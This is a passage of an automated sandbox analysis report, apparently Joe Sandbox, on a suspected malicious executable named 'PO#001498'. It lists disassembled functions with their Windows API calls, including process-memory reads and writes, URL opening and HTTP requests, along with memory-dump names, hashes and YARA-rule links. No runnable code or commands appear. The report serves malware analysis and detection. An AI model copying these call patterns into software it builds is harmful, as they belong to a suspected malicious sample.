                                                                                                                                                                                • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                                • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                                                                                                                • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                                • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                                                                                                                Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                                                                                                • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                                                                                                • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Variant$ClearCopyInit_malloc
                                                                                                                                                                                • String ID: 4RH
                                                                                                                                                                                • API String ID: 2981388473-749298218
                                                                                                                                                                                • Opcode ID: d956ccd27091b275d92ae689e644ef0078f9b2b1c30e9ed5fdb952697d9d3722
                                                                                                                                                                                • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                                                                                                • Opcode Fuzzy Hash: d956ccd27091b275d92ae689e644ef0078f9b2b1c30e9ed5fdb952697d9d3722
                                                                                                                                                                                • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                                                                                                                Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                                                                                                                • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                                                                                                                • String ID: LPT$HH
                                                                                                                                                                                • API String ID: 3035604524-2728063697
                                                                                                                                                                                • Opcode ID: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                                                                                                                                                                                • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                                                                                                                • Opcode Fuzzy Hash: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                                                                                                                                                                                • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                                                                                                                Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                                                • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                                                                                                  • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                                                                                                • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                                                                                                • String ID: @
                                                                                                                                                                                • API String ID: 4055202900-2766056989
                                                                                                                                                                                • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                                • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                                                                                                • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                                • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                                                                                                Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CrackInternet_memset_wcslen
                                                                                                                                                                                • String ID: |
                                                                                                                                                                                • API String ID: 915713708-2343686810
                                                                                                                                                                                • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                                • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                                                                                                • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                                • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                                                                                                Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                                                                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                                                                                                • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                                                                                                  • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3705125965-3916222277
                                                                                                                                                                                • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                                • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                                                                                                • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                                • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                                                                                                Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Long
                                                                                                                                                                                • String ID: SysTreeView32
                                                                                                                                                                                • API String ID: 847901565-1698111956
                                                                                                                                                                                • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                                • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                                                                                                                • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                                • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                                                                                                                Function 00437CA6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                                                                                                                • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                                                                                                                • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                                • String ID: AU3_GetPluginDetails
                                                                                                                                                                                • API String ID: 145871493-4132174516
                                                                                                                                                                                • Opcode ID: e60d032cda8e07fae4321829b238a90b33a1110472f30aca6681d3aeba7a8f27
                                                                                                                                                                                • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                                                                                                                • Opcode Fuzzy Hash: e60d032cda8e07fae4321829b238a90b33a1110472f30aca6681d3aeba7a8f27
                                                                                                                                                                                • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                                                                                                                Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DestroyWindow
                                                                                                                                                                                • String ID: msctls_updown32
                                                                                                                                                                                • API String ID: 3375834691-2298589950
                                                                                                                                                                                • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                                • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                                                                                                                • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                                • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                                                                                                                Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                                                                                                • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$MoveWindow
                                                                                                                                                                                • String ID: Listbox
                                                                                                                                                                                • API String ID: 3315199576-2633736733
                                                                                                                                                                                • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                                • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                                                                                                • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                                • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                                                                                                Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                                                                                                                • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 2507767853-2761332787
                                                                                                                                                                                • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                                • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                                                                                                                • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                                • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                                                                                                                Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                                                                                                                • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 2507767853-2761332787
                                                                                                                                                                                • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                                • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                                                                                                                • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                                • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                                                                                                                Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                                                                                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                                • String ID: msctls_trackbar32
                                                                                                                                                                                • API String ID: 3850602802-1010561917
                                                                                                                                                                                • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                                • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                                                                                                                • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                                • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                                                                                                                Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                                • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                                                                                                                • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 1515696956-2761332787
                                                                                                                                                                                • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                                • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                                                                                                                • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                                • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                                                                                                                Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                                                                                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                                                                                                                • DrawMenuBar.USER32 ref: 00449828
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
